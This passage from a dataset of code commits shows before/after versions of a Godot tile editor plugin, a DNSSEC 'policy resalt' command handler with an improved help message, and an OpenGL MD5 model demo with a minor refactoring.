server\n\t\t}\n\t\tpattern_preview_thread.wait_to_finish();\n\t}\n}\n<commit_msg>Correctly show and hide tile set editor panel<commit_after>\/*************************************************************************\/\n\/*  tiles_editor_plugin.cpp                                              *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"tiles_editor_plugin.h\"\n\n#include \"core\/os\/mutex.h\"\n\n#include \"editor\/editor_node.h\"\n#include \"editor\/editor_scale.h\"\n#include \"editor\/plugins\/canvas_item_editor_plugin.h\"\n\n#include \"scene\/2d\/tile_map.h\"\n#include \"scene\/gui\/box_container.h\"\n#include \"scene\/gui\/button.h\"\n#include \"scene\/gui\/control.h\"\n#include \"scene\/gui\/separator.h\"\n#include \"scene\/resources\/tile_set.h\"\n\n#include \"tile_set_editor.h\"\n\nTilesEditorPlugin *TilesEditorPlugin::singleton = nullptr;\n\nvoid TilesEditorPlugin::_preview_frame_started() {\n\tRS::get_singleton()->request_frame_drawn_callback(callable_mp(const_cast<TilesEditorPlugin *>(this), &TilesEditorPlugin::_pattern_preview_done));\n}\n\nvoid TilesEditorPlugin::_pattern_preview_done() {\n\tpattern_preview_done.post();\n}\n\nvoid TilesEditorPlugin::_thread_func(void *ud) {\n\tTilesEditorPlugin *te = (TilesEditorPlugin *)ud;\n\tte->_thread();\n}\n\nvoid TilesEditorPlugin::_thread() {\n\tpattern_thread_exited.clear();\n\twhile (!pattern_thread_exit.is_set()) {\n\t\tpattern_preview_sem.wait();\n\n\t\tpattern_preview_mutex.lock();\n\t\tif (pattern_preview_queue.size()) {\n\t\t\tQueueItem item = pattern_preview_queue.front()->get();\n\t\t\tpattern_preview_queue.pop_front();\n\t\t\tpattern_preview_mutex.unlock();\n\n\t\t\tint thumbnail_size = EditorSettings::get_singleton()->get(\"filesystem\/file_dialog\/thumbnail_size\");\n\t\t\tthumbnail_size *= EDSCALE;\n\t\t\tVector2 thumbnail_size2 = Vector2(thumbnail_size, thumbnail_size);\n\n\t\t\tif (item.pattern.is_valid() && !item.pattern->is_empty()) {\n\t\t\t\t\/\/ Generate the pattern preview\n\t\t\t\tSubViewport *viewport = memnew(SubViewport);\n\t\t\t\tviewport->set_size(thumbnail_size2);\n\t\t\t\tviewport->set_disable_input(true);\n\t\t\t\tviewport->set_transparent_background(true);\n\t\t\t\tviewport->set_update_mode(SubViewport::UPDATE_ONCE);\n\n\t\t\t\tTileMap *tile_map = memnew(TileMap);\n\t\t\t\ttile_map->set_tileset(item.tile_set);\n\t\t\t\ttile_map->set_pattern(0, Vector2(), item.pattern);\n\t\t\t\tviewport->add_child(tile_map);\n\n\t\t\t\tTypedArray<Vector2i> used_cells = tile_map->get_used_cells(0);\n\n\t\t\t\tRect2 encompassing_rect = Rect2();\n\t\t\t\tencompassing_rect.set_position(tile_map->map_to_world(used_cells[0]));\n\t\t\t\tfor (int i = 0; i < used_cells.size(); i++) {\n\t\t\t\t\tVector2i cell = used_cells[i];\n\t\t\t\t\tVector2 world_pos = tile_map->map_to_world(cell);\n\t\t\t\t\tencompassing_rect.expand_to(world_pos);\n\n\t\t\t\t\t\/\/ Texture.\n\t\t\t\t\tRef<TileSetAtlasSource> atlas_source = tile_set->get_source(tile_map->get_cell_source_id(0, cell));\n\t\t\t\t\tif (atlas_source.is_valid()) {\n\t\t\t\t\t\tVector2i coords = tile_map->get_cell_atlas_coords(0, cell);\n\t\t\t\t\t\tint alternative = tile_map->get_cell_alternative_tile(0, cell);\n\n\t\t\t\t\t\tVector2 center = world_pos - atlas_source->get_tile_effective_texture_offset(coords, alternative);\n\t\t\t\t\t\tencompassing_rect.expand_to(center - atlas_source->get_tile_texture_region(coords).size \/ 2);\n\t\t\t\t\t\tencompassing_rect.expand_to(center + atlas_source->get_tile_texture_region(coords).size \/ 2);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tVector2 scale = thumbnail_size2 \/ MAX(encompassing_rect.size.x, encompassing_rect.size.y);\n\t\t\t\ttile_map->set_scale(scale);\n\t\t\t\ttile_map->set_position(-(scale * encompassing_rect.get_center()) + thumbnail_size2 \/ 2);\n\n\t\t\t\t\/\/ Add the viewport at the lasst moment to avoid rendering too early.\n\t\t\t\tEditorNode::get_singleton()->add_child(viewport);\n\n\t\t\t\tRS::get_singleton()->connect(SNAME(\"frame_pre_draw\"), callable_mp(const_cast<TilesEditorPlugin *>(this), &TilesEditorPlugin::_preview_frame_started), Vector<Variant>(), Object::CONNECT_ONESHOT);\n\n\t\t\t\tpattern_preview_done.wait();\n\n\t\t\t\tRef<Image> image = viewport->get_texture()->get_image();\n\t\t\t\tRef<ImageTexture> image_texture;\n\t\t\t\timage_texture.instantiate();\n\t\t\t\timage_texture->create_from_image(image);\n\n\t\t\t\t\/\/ Find the index for the given pattern. TODO: optimize.\n\t\t\t\tVariant args[] = { item.pattern, image_texture };\n\t\t\t\tconst Variant *args_ptr[] = { &args[0], &args[1] };\n\t\t\t\tVariant r;\n\t\t\t\tCallable::CallError error;\n\t\t\t\titem.callback.call(args_ptr, 2, r, error);\n\n\t\t\t\tviewport->queue_delete();\n\t\t\t} else {\n\t\t\t\tpattern_preview_mutex.unlock();\n\t\t\t}\n\t\t}\n\t}\n\tpattern_thread_exited.set();\n}\n\nvoid TilesEditorPlugin::_tile_map_changed() {\n\ttile_map_changed_needs_update = true;\n}\n\nvoid TilesEditorPlugin::_update_editors() {\n\t\/\/ If tile_map is not edited, we change the edited only if we are not editing a tile_set.\n\ttileset_editor->edit(tile_set);\n\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\tif (tile_map) {\n\t\ttilemap_editor->edit(tile_map);\n\t} else {\n\t\ttilemap_editor->edit(nullptr);\n\t}\n\n\t\/\/ Update the viewport.\n\tCanvasItemEditor::get_singleton()->update_viewport();\n\n\t\/\/ Update visibility of bottom panel buttons.\n\tif (tileset_editor_button->is_pressed() && !tile_set.is_valid()) {\n\t\tif (tile_map) {\n\t\t\teditor_node->make_bottom_panel_item_visible(tilemap_editor);\n\t\t} else {\n\t\t\teditor_node->hide_bottom_panel();\n\t\t}\n\t}\n\ttileset_editor_button->set_visible(tile_set.is_valid());\n\ttilemap_editor_button->set_visible(tile_map);\n}\n\nvoid TilesEditorPlugin::_notification(int p_what) {\n\tswitch (p_what) {\n\t\tcase NOTIFICATION_INTERNAL_PROCESS: {\n\t\t\tif (tile_map_changed_needs_update) {\n\t\t\t\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\t\t\tif (tile_map) {\n\t\t\t\t\ttile_set = tile_map->get_tileset();\n\t\t\t\t}\n\t\t\t\t_update_editors();\n\t\t\t\ttile_map_changed_needs_update = false;\n\t\t\t}\n\t\t} break;\n\t}\n}\n\nvoid TilesEditorPlugin::make_visible(bool p_visible) {\n\tif (p_visible) {\n\t\t\/\/ Disable and hide invalid editors.\n\t\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\ttileset_editor_button->set_visible(tile_set.is_valid());\n\t\ttilemap_editor_button->set_visible(tile_map);\n\t\tif (tile_map) {\n\t\t\teditor_node->make_bottom_panel_item_visible(tilemap_editor);\n\t\t} else {\n\t\t\teditor_node->make_bottom_panel_item_visible(tileset_editor);\n\t\t}\n\n\t} else {\n\t\ttileset_editor_button->hide();\n\t\ttilemap_editor_button->hide();\n\t\teditor_node->hide_bottom_panel();\n\t}\n}\n\nvoid TilesEditorPlugin::queue_pattern_preview(Ref<TileSet> p_tile_set, Ref<TileMapPattern> p_pattern, Callable p_callback) {\n\tERR_FAIL_COND(!p_tile_set.is_valid());\n\tERR_FAIL_COND(!p_pattern.is_valid());\n\t{\n\t\tMutexLock lock(pattern_preview_mutex);\n\t\tpattern_preview_queue.push_back({ p_tile_set, p_pattern, p_callback });\n\t}\n\tpattern_preview_sem.post();\n}\n\nvoid TilesEditorPlugin::set_sources_lists_current(int p_current) {\n\tatlas_sources_lists_current = p_current;\n}\n\nvoid TilesEditorPlugin::synchronize_sources_list(Object *p_current) {\n\tItemList *item_list = Object::cast_to<ItemList>(p_current);\n\tERR_FAIL_COND(!item_list);\n\n\tif (item_list->is_visible_in_tree()) {\n\t\tif (atlas_sources_lists_current < 0 || atlas_sources_lists_current >= item_list->get_item_count()) {\n\t\t\titem_list->deselect_all();\n\t\t} else {\n\t\t\titem_list->set_current(atlas_sources_lists_current);\n\t\t\titem_list->emit_signal(SNAME(\"item_selected\"), atlas_sources_lists_current);\n\t\t}\n\t}\n}\n\nvoid TilesEditorPlugin::set_atlas_view_transform(float p_zoom, Vector2 p_scroll) {\n\tatlas_view_zoom = p_zoom;\n\tatlas_view_scroll = p_scroll;\n}\n\nvoid TilesEditorPlugin::synchronize_atlas_view(Object *p_current) {\n\tTileAtlasView *tile_atlas_view = Object::cast_to<TileAtlasView>(p_current);\n\tERR_FAIL_COND(!tile_atlas_view);\n\n\tif (tile_atlas_view->is_visible_in_tree()) {\n\t\ttile_atlas_view->set_transform(atlas_view_zoom, atlas_view_scroll);\n\t}\n}\n\nvoid TilesEditorPlugin::edit(Object *p_object) {\n\t\/\/ Disconnect to changes.\n\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\tif (tile_map) {\n\t\ttile_map->disconnect(\"changed\", callable_mp(this, &TilesEditorPlugin::_tile_map_changed));\n\t}\n\n\t\/\/ Update edited objects.\n\ttile_set = Ref<TileSet>();\n\tif (p_object) {\n\t\tif (p_object->is_class(\"TileMap\")) {\n\t\t\ttile_map_id = p_object->get_instance_id();\n\t\t\ttile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\t\ttile_set = tile_map->get_tileset();\n\t\t\teditor_node->make_bottom_panel_item_visible(tilemap_editor);\n\t\t} else if (p_object->is_class(\"TileSet\")) {\n\t\t\ttile_set = Ref<TileSet>(p_object);\n\t\t\tif (tile_map) {\n\t\t\t\tif (tile_map->get_tileset() != tile_set || !tile_map->is_inside_tree()) {\n\t\t\t\t\ttile_map = nullptr;\n\t\t\t\t\ttile_map_id = ObjectID();\n\t\t\t\t}\n\t\t\t}\n\t\t\teditor_node->make_bottom_panel_item_visible(tileset_editor);\n\t\t}\n\t}\n\n\t\/\/ Update the editors.\n\t_update_editors();\n\n\t\/\/ Add change listener.\n\tif (tile_map) {\n\t\ttile_map->connect(\"changed\", callable_mp(this, &TilesEditorPlugin::_tile_map_changed));\n\t}\n}\n\nbool TilesEditorPlugin::handles(Object *p_object) const {\n\treturn p_object->is_class(\"TileMap\") || p_object->is_class(\"TileSet\");\n}\n\nTilesEditorPlugin::TilesEditorPlugin(EditorNode *p_node) {\n\tset_process_internal(true);\n\n\t\/\/ Update the singleton.\n\tsingleton = this;\n\n\teditor_node = p_node;\n\n\t\/\/ Tileset editor.\n\ttileset_editor = memnew(TileSetEditor);\n\ttileset_editor->set_h_size_flags(Control::SIZE_EXPAND_FILL);\n\ttileset_editor->set_v_size_flags(Control::SIZE_EXPAND_FILL);\n\ttileset_editor->set_custom_minimum_size(Size2(0, 200) * EDSCALE);\n\ttileset_editor->hide();\n\n\t\/\/ Tilemap editor.\n\ttilemap_editor = memnew(TileMapEditor);\n\ttilemap_editor->set_h_size_flags(Control::SIZE_EXPAND_FILL);\n\ttilemap_editor->set_v_size_flags(Control::SIZE_EXPAND_FILL);\n\ttilemap_editor->set_custom_minimum_size(Size2(0, 200) * EDSCALE);\n\ttilemap_editor->hide();\n\n\t\/\/ Pattern preview generation thread.\n\tpattern_preview_thread.start(_thread_func, this);\n\n\t\/\/ Bottom buttons.\n\ttileset_editor_button = p_node->add_bottom_panel_item(TTR(\"TileSet\"), tileset_editor);\n\ttileset_editor_button->hide();\n\ttilemap_editor_button = p_node->add_bottom_panel_item(TTR(\"TileMap\"), tilemap_editor);\n\ttilemap_editor_button->hide();\n\n\t\/\/ Initialization.\n\t_update_editors();\n}\n\nTilesEditorPlugin::~TilesEditorPlugin() {\n\tif (pattern_preview_thread.is_started()) {\n\t\tpattern_thread_exit.set();\n\t\tpattern_preview_sem.post();\n\t\twhile (!pattern_thread_exited.is_set()) {\n\t\t\tOS::get_singleton()->delay_usec(10000);\n\t\t\tRenderingServer::get_singleton()->sync(); \/\/sync pending stuff, as thread may be blocked on visual server\n\t\t}\n\t\tpattern_preview_thread.wait_to_finish();\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <ctime>\n#include <iostream>\n#include <cassert>\n\n\n\/\/ Interface of this cpp file is used by C code, we need to declare \n\/\/ extern \"C\" to prevent linking errors.\nextern \"C\" {\n#include \"policy\/policy_resalt_cmd.h\"\n#include \"policy\/policy_resalt_task.h\"\n#include \"shared\/duration.h\"\n#include \"shared\/file.h\"\n#include \"daemon\/engine.h\"\n}\n\nstatic const char *policy_resalt_cmd_str = \"policy_resalt_cmd\";\n\nvoid help_policy_resalt_cmd(int sockfd)\n{\n    char buf[ODS_SE_MAXLINE];\n    (void) snprintf(buf, ODS_SE_MAXLINE,\n                    \"policy resalt   resalt policies\\n\"\n                    );\n    ods_writen(sockfd, buf, strlen(buf));\n}\n\nint handled_policy_resalt_cmd(int sockfd, engine_type* engine, const char *cmd, \n                                ssize_t n)\n{\n    char buf[ODS_SE_MAXLINE];\n    task_type *task;\n    ods_status status;\n    const char *scmd =  \"policy resalt\";\n    ssize_t ncmd = strlen(scmd);\n    \n    if (n < ncmd || strncmp(cmd,scmd, ncmd) != 0) return 0;\n    ods_log_debug(\"[%s] %s command\", policy_resalt_cmd_str, scmd);\n    if (cmd[ncmd] == '\\0') {\n        cmd = \"\";\n    } else if (cmd[ncmd] != ' ') {\n        return 0;\n    } else {\n        cmd = &cmd[ncmd+1];\n    }\n    \n    if (strncmp(cmd, \"--task\", 7) == 0) {\n        \/* schedule task *\/\n        task = policy_resalt_task(engine->config);\n        if (!task) {\n            ods_log_crit(\"[%s] failed to create %s task\",\n                         policy_resalt_cmd_str,scmd);\n        } else {\n            status = schedule_task_from_thread(engine->taskq, task, 0);\n            if (status != ODS_STATUS_OK) {\n                ods_log_crit(\"[%s] failed to create %s task\",\n                             policy_resalt_cmd_str,scmd);\n                \n                (void)snprintf(buf, ODS_SE_MAXLINE, \n                               \"Unable to schedule %s task.\\n\",scmd);\n                ods_writen(sockfd, buf, strlen(buf));\n            } else  {\n                (void)snprintf(buf, ODS_SE_MAXLINE,\n                               \"Scheduled %s task.\\n\",scmd);\n                ods_writen(sockfd, buf, strlen(buf));\n            }\n        }\n    } else {\n        \/* Do the update directly, giving the update process the chance to \n         * report back any problems directly via sockfd.\n         *\/\n        perform_policy_resalt(sockfd, engine->config);\n        (void)snprintf(buf, ODS_SE_MAXLINE, \"%s complete.\\n\",scmd);\n        ods_writen(sockfd, buf, strlen(buf));\n    }\n    return 1;\n}\n<commit_msg>Improve help message for 'policy resalt' command<commit_after>#include <ctime>\n#include <iostream>\n#include <cassert>\n\n\n\/\/ Interface of this cpp file is used by C code, we need to declare \n\/\/ extern \"C\" to prevent linking errors.\nextern \"C\" {\n#include \"policy\/policy_resalt_cmd.h\"\n#include \"policy\/policy_resalt_task.h\"\n#include \"shared\/duration.h\"\n#include \"shared\/file.h\"\n#include \"daemon\/engine.h\"\n}\n\nstatic const char *policy_resalt_cmd_str = \"policy_resalt_cmd\";\n\nvoid help_policy_resalt_cmd(int sockfd)\n{\n    char buf[ODS_SE_MAXLINE];\n    (void)\n    snprintf(buf, ODS_SE_MAXLINE,\n             \"policy resalt   generate new NSEC3 salts for policies that have\\n\"\n             \"                salts older than the resalt duration.\\n\"\n                   );\n    ods_writen(sockfd, buf, strlen(buf));\n}\n\nint handled_policy_resalt_cmd(int sockfd, engine_type* engine, const char *cmd, \n                                ssize_t n)\n{\n    char buf[ODS_SE_MAXLINE];\n    task_type *task;\n    ods_status status;\n    const char *scmd =  \"policy resalt\";\n    ssize_t ncmd = strlen(scmd);\n    \n    if (n < ncmd || strncmp(cmd,scmd, ncmd) != 0) return 0;\n    ods_log_debug(\"[%s] %s command\", policy_resalt_cmd_str, scmd);\n    if (cmd[ncmd] == '\\0') {\n        cmd = \"\";\n    } else if (cmd[ncmd] != ' ') {\n        return 0;\n    } else {\n        cmd = &cmd[ncmd+1];\n    }\n    \n    if (strncmp(cmd, \"--task\", 7) == 0) {\n        \/* schedule task *\/\n        task = policy_resalt_task(engine->config);\n        if (!task) {\n            ods_log_crit(\"[%s] failed to create %s task\",\n                         policy_resalt_cmd_str,scmd);\n        } else {\n            status = schedule_task_from_thread(engine->taskq, task, 0);\n            if (status != ODS_STATUS_OK) {\n                ods_log_crit(\"[%s] failed to create %s task\",\n                             policy_resalt_cmd_str,scmd);\n                \n                (void)snprintf(buf, ODS_SE_MAXLINE, \n                               \"Unable to schedule %s task.\\n\",scmd);\n                ods_writen(sockfd, buf, strlen(buf));\n            } else  {\n                (void)snprintf(buf, ODS_SE_MAXLINE,\n                               \"Scheduled %s task.\\n\",scmd);\n                ods_writen(sockfd, buf, strlen(buf));\n            }\n        }\n    } else {\n        \/* Do the update directly, giving the update process the chance to \n         * report back any problems directly via sockfd.\n         *\/\n        perform_policy_resalt(sockfd, engine->config);\n        (void)snprintf(buf, ODS_SE_MAXLINE, \"%s complete.\\n\",scmd);\n        ods_writen(sockfd, buf, strlen(buf));\n    }\n    return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * \\file\n * \\brief       MD5 model demonstration\n * \\author      Alexey Vasilyev <alexa.infra@gmail.com>\n * \\copyright   MIT License\n **\/\n#include \"app\/app.h\"\n#include \"renderer\/md5mesh.h\"\n#include \"renderer\/md5anim.h\"\n#include \"renderer\/md5renderer.h\"\n#include \"renderer\/camera.h\"\n#include \"renderer\/gltexture.h\"\n#include \"renderer\/glprogram.h\"\n#include \"renderer\/wirebox.h\"\n#include <assert.h>\n\nusing namespace base;\nusing namespace base::math;\nusing namespace base::opengl;\nusing namespace base::resource;\n\nclass Demo : public Application\n{\n    Program        program_;\n    Program        program_wirebox_;\n    Camera          camera_;\n    TextureLoader   texure_loader_;\n    Matrix4         projection_;\n    Matrix4         modelview_;\n    Matrix4         cameraTransform_;\n    Matrix4         modelTransform_;\n    WireBox*        wire_box_;\n    WireBox*        camera_wirebox_;\n    Md5Renderer*    md5_renderer_;\n    Entity*         entity;\n    Texture*        texture_;\n    Texture*        texture_bump_;\npublic:\n    Demo() {\n        camera_.set_position( Vector3( 0.f, 0.f, 500.f ) );\n        camera_.set_pitch( 0 );\n        camera_.set_head( 180 * deg_to_rad );\n        camera_.set_aspect( width_ \/ ( f32 )height_ );\n        camera_.set_fov( 45.0f );\n        camera_.set_zNear( 1 );\n        camera_.set_zFar( 1000 );\n        camera_.Update();\n        cameraTransform_ = camera_.GetModelView();\n        projection_ = camera_.GetProjection();\n        modelTransform_ = Matrix4::Identity();\n        modelTransform_ *= Matrix4::Translation( Vector3( 0, 0, 450 ) );\n        modelTransform_ *= Matrix4::RotationX( -90 * deg_to_rad );\n        modelTransform_ *= Matrix4::RotationZ( 180 * deg_to_rad );\n        program_.CreateFromFileWithAssert( \"bump.shader\" );\n        texture_ = texure_loader_.Load( \"hellknight.png\" );\n        texture_bump_ = texure_loader_.Load( \"hellknight_local.png\" );\n        entity = Entity::Load( \"hellknight.md5mesh\" );\n        entity->object.md5Anim = new Md5Anim;\n        entity->object.md5Anim->Load( \"hellknight_idle2.md5anim\" );\n        md5_renderer_ = new Md5Renderer( &entity->object.md5Model );\n        program_wirebox_.CreateFromFileWithAssert( \"wirebox.shader\" );\n        wire_box_ = new WireBox( md5_renderer_->boundingBox.min,\n                                 md5_renderer_->boundingBox.max );\n        f32 box_radius  = 600.0f;\n        camera_wirebox_ = new WireBox ( Vector3( -1 * box_radius, -1 * box_radius, -1 * box_radius ),\n                                        Vector3( box_radius, box_radius, box_radius ) );\n    }\n    virtual ~Demo() {\n        program_.Destroy();\n        program_wirebox_.Destroy();\n\n        delete entity->object.md5Anim;\n        delete entity;\n        delete wire_box_;\n        delete camera_wirebox_;\n        delete md5_renderer_;\n    }\nprotected:\n    void OnFrame() {\n        glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n        glClearColor( 1.0f, 1.0f, 1.0f, 1.0f );\n        glEnable( GL_DEPTH_TEST );\n        program_.Bind();\n        program_.set_uniform( base::opengl::UniformVars::Diffuse, texture_ );\n        program_.set_uniform( base::opengl::UniformVars::Bump, texture_bump_ );\n        modelTransform_ *= Matrix4::RotationZ( 20 \/ 60.f * deg_to_rad );\n        program_.set_uniform( base::opengl::UniformVars::Projection, projection_ );\n        program_.set_uniform( base::opengl::UniformVars::Modelview, cameraTransform_ * modelTransform_ );\n        program_.set_uniform( base::opengl::UniformVars::CameraPos, camera_.position() );\n        program_.set_uniform( base::opengl::UniformVars::LightPos, Vector3( 40, 110, -200 ) );\n        static u32 counter = 0;\n        counter++;\n        u32 frame  = counter \/ 2;\n        f32 interp = ( counter % 2 ) \/ 2.f;\n        entity->object.md5Anim->Update( &entity->object.md5Model, frame, interp );\n        md5_renderer_->Commit();\n        AttributeBinding binding = program_.binding();\n        md5_renderer_->Draw( binding );\n        program_.Unbind();\n        program_wirebox_.Bind();\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Projection, projection_ );\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Modelview, cameraTransform_ * modelTransform_ );\n        wire_box_->setMinPoint( md5_renderer_->boundingBox.min );\n        wire_box_->setMaxPoint( md5_renderer_->boundingBox.max );\n        wire_box_->Draw( &program_wirebox_ );\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Modelview, cameraTransform_ );\n        camera_wirebox_->Draw( &program_wirebox_ );\n        program_wirebox_.Unbind();\n        assert( glGetError() == GL_NO_ERROR );\n        Application::OnFrame();\n    }\n\n    void OnMotion( i32 x, i32 y, i32 dx, i32 dy ) {\n        camera_.set_head( camera_.head()  + deg_to_rad * dx );\n\n        if ( fabs ( camera_.pitch() + deg_to_rad * dy ) < base::math::pi \/ 4.0f ) {\n            camera_.set_pitch( camera_.pitch() + deg_to_rad * dy );\n        }\n\n        camera_.Update();\n        cameraTransform_ = camera_.GetModelView();\n    }\n\n    void OnKeyboardDown( u8 key ) {\n        const f32 speed = 5.0f;\n\n        if ( key == 'w' ) {\n            camera_.set_position( camera_.position() + camera_.forward() * speed );\n        } else if ( key == 's' ) {\n            camera_.set_position( camera_.position() - camera_.forward() * speed );\n        } else if ( key == 'a' ) {\n            camera_.set_position( camera_.position() - camera_.right()   * speed );\n        } else if ( key == 'd' ) {\n            camera_.set_position( camera_.position() + camera_.right()   * speed );\n        }\n\n        camera_.Update();\n        cameraTransform_ = camera_.GetModelView();\n    }\n\n};\n\nint main()\n{\n    Demo app;\n    app.Run();\n    return 0;\n}\n<commit_msg>minor refactoring<commit_after>\/**\n * \\file\n * \\brief       MD5 model demonstration\n * \\author      Alexey Vasilyev <alexa.infra@gmail.com>\n * \\copyright   MIT License\n **\/\n#include \"app\/app.h\"\n#include \"renderer\/md5mesh.h\"\n#include \"renderer\/md5anim.h\"\n#include \"renderer\/md5renderer.h\"\n#include \"renderer\/camera.h\"\n#include \"renderer\/gltexture.h\"\n#include \"renderer\/glprogram.h\"\n#include \"renderer\/wirebox.h\"\n#include <assert.h>\n\nusing namespace base;\nusing namespace base::math;\nusing namespace base::opengl;\nusing namespace base::resource;\n\nclass Demo : public Application\n{\n    Program        program_;\n    Program        program_wirebox_;\n    Camera          camera_;\n    TextureLoader   texure_loader_;\n    Matrix4         modelTransform_;\n    WireBox*        wire_box_;\n    WireBox*        camera_wirebox_;\n    Md5Renderer*    md5_renderer_;\n    Entity*         entity;\n    Texture*        texture_;\n    Texture*        texture_bump_;\npublic:\n    Demo() {\n        camera_.set_position( Vector3( 0.f, 0.f, 500.f ) );\n        camera_.set_pitch( 0 );\n        camera_.set_head( 180 * deg_to_rad );\n        camera_.set_aspect( width_ \/ ( f32 )height_ );\n        camera_.set_fov( 45.0f );\n        camera_.set_zNear( 1 );\n        camera_.set_zFar( 1000 );\n        camera_.Update();\n        modelTransform_ = Matrix4::Identity();\n        modelTransform_ *= Matrix4::Translation( Vector3( 0, 0, 450 ) );\n        modelTransform_ *= Matrix4::RotationX( -90 * deg_to_rad );\n        modelTransform_ *= Matrix4::RotationZ( 180 * deg_to_rad );\n        program_.CreateFromFileWithAssert( \"bump.shader\" );\n        texture_ = texure_loader_.Load( \"hellknight.png\" );\n        texture_bump_ = texure_loader_.Load( \"hellknight_local.png\" );\n        entity = Entity::Load( \"hellknight.md5mesh\" );\n        entity->object.md5Anim = new Md5Anim;\n        entity->object.md5Anim->Load( \"hellknight_idle2.md5anim\" );\n        md5_renderer_ = new Md5Renderer( &entity->object.md5Model );\n        program_wirebox_.CreateFromFileWithAssert( \"wirebox.shader\" );\n        wire_box_ = new WireBox( md5_renderer_->boundingBox.min,\n                                 md5_renderer_->boundingBox.max );\n        f32 box_radius  = 600.0f;\n        camera_wirebox_ = new WireBox ( Vector3( -1 * box_radius, -1 * box_radius, -1 * box_radius ),\n                                        Vector3( box_radius, box_radius, box_radius ) );\n    }\n    virtual ~Demo() {\n        program_.Destroy();\n        program_wirebox_.Destroy();\n\n        delete entity->object.md5Anim;\n        delete entity;\n        delete wire_box_;\n        delete camera_wirebox_;\n        delete md5_renderer_;\n    }\nprotected:\n    void OnFrame() {\n        glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n        glClearColor( 1.0f, 1.0f, 1.0f, 1.0f );\n        glEnable( GL_DEPTH_TEST );\n        program_.Bind();\n        program_.set_uniform( base::opengl::UniformVars::Diffuse, texture_ );\n        program_.set_uniform( base::opengl::UniformVars::Bump, texture_bump_ );\n        modelTransform_ *= Matrix4::RotationZ( 20 \/ 60.f * deg_to_rad );\n        program_.set_uniform( base::opengl::UniformVars::Projection, camera_.GetProjection() );\n        program_.set_uniform( base::opengl::UniformVars::Modelview, camera_.GetModelView() * modelTransform_ );\n        program_.set_uniform( base::opengl::UniformVars::CameraPos, camera_.position() );\n        program_.set_uniform( base::opengl::UniformVars::LightPos, Vector3( 40, 110, -200 ) );\n        static u32 counter = 0;\n        counter++;\n        u32 frame  = counter \/ 2;\n        f32 interp = ( counter % 2 ) \/ 2.f;\n        entity->object.md5Anim->Update( &entity->object.md5Model, frame, interp );\n        md5_renderer_->Commit();\n        AttributeBinding binding = program_.binding();\n        md5_renderer_->Draw( binding );\n        program_.Unbind();\n        program_wirebox_.Bind();\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Projection, camera_.GetProjection() );\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Modelview, camera_.GetModelView() * modelTransform_ );\n        wire_box_->setMinPoint( md5_renderer_->boundingBox.min );\n        wire_box_->setMaxPoint( md5_renderer_->boundingBox.max );\n        wire_box_->Draw( &program_wirebox_ );\n        program_wirebox_.set_uniform( base::opengl::UniformVars::Modelview, camera_.GetModelView() );\n        camera_wirebox_->Draw( &program_wirebox_ );\n        program_wirebox_.Unbind();\n        assert( glGetError() == GL_NO_ERROR );\n        Application::OnFrame();\n    }\n\n    void OnMotion( i32 x, i32 y, i32 dx, i32 dy ) {\n        camera_.set_head( camera_.head()  + deg_to_rad * dx );\n\n        if ( fabs ( camera_.pitch() + deg_to_rad * dy ) < base::math::pi \/ 4.0f ) {\n            camera_.set_pitch( camera_.pitch() + deg_to_rad * dy );\n        }\n\n        camera_.Update();\n    }\n\n    void OnKeyboardDown( u8 key ) {\n        const f32 speed = 5.0f;\n\n        if ( key == 'w' ) {\n            camera_.set_position( camera_.position() + camera_.forward() * speed );\n        } else if ( key == 's' ) {\n            camera_.set_position( camera_.position() - camera_.forward() * speed );\n        } else if ( key == 'a' ) {\n            camera_.set_position( camera_.position() - camera_.right()   * speed );\n        } else if ( key == 'd' ) {\n            camera_.set_position( camera_.position() + camera_.right()   * speed );\n        }\n\n        camera_.Update();\n    }\n\n};\n\nint main()\n{\n    Demo app;\n    app.Run();\n    return 0;\n}\n<|endoftext|>"}
